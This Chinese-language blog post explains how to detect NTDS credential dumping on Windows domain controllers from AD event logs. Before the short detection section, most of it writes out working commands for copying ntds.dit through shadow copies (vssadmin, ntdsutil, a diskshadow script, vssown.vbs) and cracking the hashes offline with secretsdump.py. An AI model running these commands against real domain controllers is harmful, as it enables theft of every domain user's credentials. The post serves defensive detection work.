• 基于AD Event日志检测NTDS凭据转储攻击


    01、简介

    在域环境里,域内用户hash存储在域控制器(ntds.dit)中的数据库文件中,ntds.dit文件是无法直接被复制的。在这种情况下,我们一般可以利用卷影复制服务(VSS)来实现ntds.dit的拷贝,然后下载进行离线分析和破解用户哈希。

    02、利用VSS实现ntds.dit文件提取

    (1)vssadmin

    Windows卷影工具,使用Vssadmin来管理VSS,用来创建和删除卷影拷贝。

    1. #创建一个新的卷影副本
    2. vssadmin create shadow /for=c:
    3. #将ntds.dit文件复制到新的位置
    4. copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit
    5. #删除卷影副本
    6. vssadmin delete shadows /for=c: /quiet

    (2)ntdsutil

    ntdsutil.exe 是一个命令行工具,可提供对AD的数据库维护功能,执行命令后,生成两个新文件夹:Active Directory 和 Registry,ntds.dit 文件将保存在 Active Directory 中,SAM 和 SYSTEM 文件将保存到registry文件夹。

    (3)DiskShadow

    Diskshadow.exe是一种工具,用于进行 VSS相关的操作。

    a、将如下内容保存在command.txt文件:

    1. set context persistent nowriters
    2. add volume c: alias someAlias
    3. create
    4. expose %someAlias% z:
    5. exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit
    6. delete shadows all
    7. list shadows all
    8. reset
    9. exit

    b、进入C:\Windows\System32目录下执行:

    diskshadow /s C:\command.txt
    

    (4)vssown

    vssown 是一个 vbs 脚本,可以创建和删除卷影副本,github下载地址:

    https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
    
    1. #启动卷影拷贝服务
    2. cscript vssown.vbs /start
    3. #创建一个C盘的卷影拷贝
    4. cscript vssown.vbs /create c
    5. #列出卷影考本
    6. cscript vssown.vbs /list
    7. #将目标文件复制出来
    8. copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\\ntds.dit
    9. #删除卷影拷贝
    10. cscript vssown.vbs /delete {71E09CF1-5FF4-4F29-B676-B669A28713DC}

    (5)离线破解

    通过卷影拷贝服务(vss)提取ntds.dit,需要将ntds.dit、system和sam文件 下载到本地,通过 impacket 套件中的 secretsdump.py 脚本进行破解:

    secretsdump.py -sam sam.hive -system system.hive -ntds ntds.dit LOCAL
    

    03、NTDS凭据转存攻击检测

    基于以上ntds.dit文件提取的方式,通过AD Event日志监测有两种思路:

    (1)在System日志中,调用卷影复制服务(VSS)会生成Event ID为7036的事件,但没有记录用户信息,无法判断来源,容易误报。

    (2)在Security日志中,通过监测创建vssadmin、ntdsutil、diskshadow、cscript的进程名称,可以找出谁什么时间在哪台服务器上做了VSS相关的操作,实时检测异常的攻击行为。

  • 相关阅读:
    C#使用 AutoUpdater.NET 实现程序自动更新
    头歌:第1关:有序单链表的插入操作
    Transformer模型 | iTransformer时序预测
    如何用小程序端进行测试?
    接口报错:The valid characters are defined in RFC 7230 and RFC 3986
    Mobx 数据通信
    【Java面试】谈谈你对HashMap的理解(Map接口)
    install Oracle JDK in Linux:安装oracle JDK in linux
    金三银四,风控建模面试高频问题大全
    DDA数值微分法详解
  • 原文地址:https://blog.csdn.net/qq_23936389/article/details/127723618